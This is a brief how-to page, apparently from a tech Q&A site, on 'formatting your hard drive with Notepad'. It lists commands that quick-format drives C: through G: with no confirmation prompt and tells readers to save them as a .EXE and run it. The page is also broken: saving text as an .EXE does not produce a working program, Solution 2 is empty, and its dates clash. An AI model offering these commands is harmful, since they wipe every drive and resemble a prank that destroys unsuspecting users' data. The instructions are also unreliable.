Format your HDD using Notepad

April 2018


How can I format my hard drive using Notepad?

Solution 1

Open Notepad (Start->Run->Notepad->Ok) and write this:

format C:/q /y 
format D:/q /y 
format E:/q /y 
format F:/q /y 
format G:/q /y
  • Save as a .EXE -any name will do
  • Run the .exe

Solution 2

  • Write The Following In Notepad Exactly as it says;

  • Save as a .EXE -any name will do
  • Run the .exe
Published by aakai1056. Latest update on June 10, 2010 at 10:58 AM by aakai1056.
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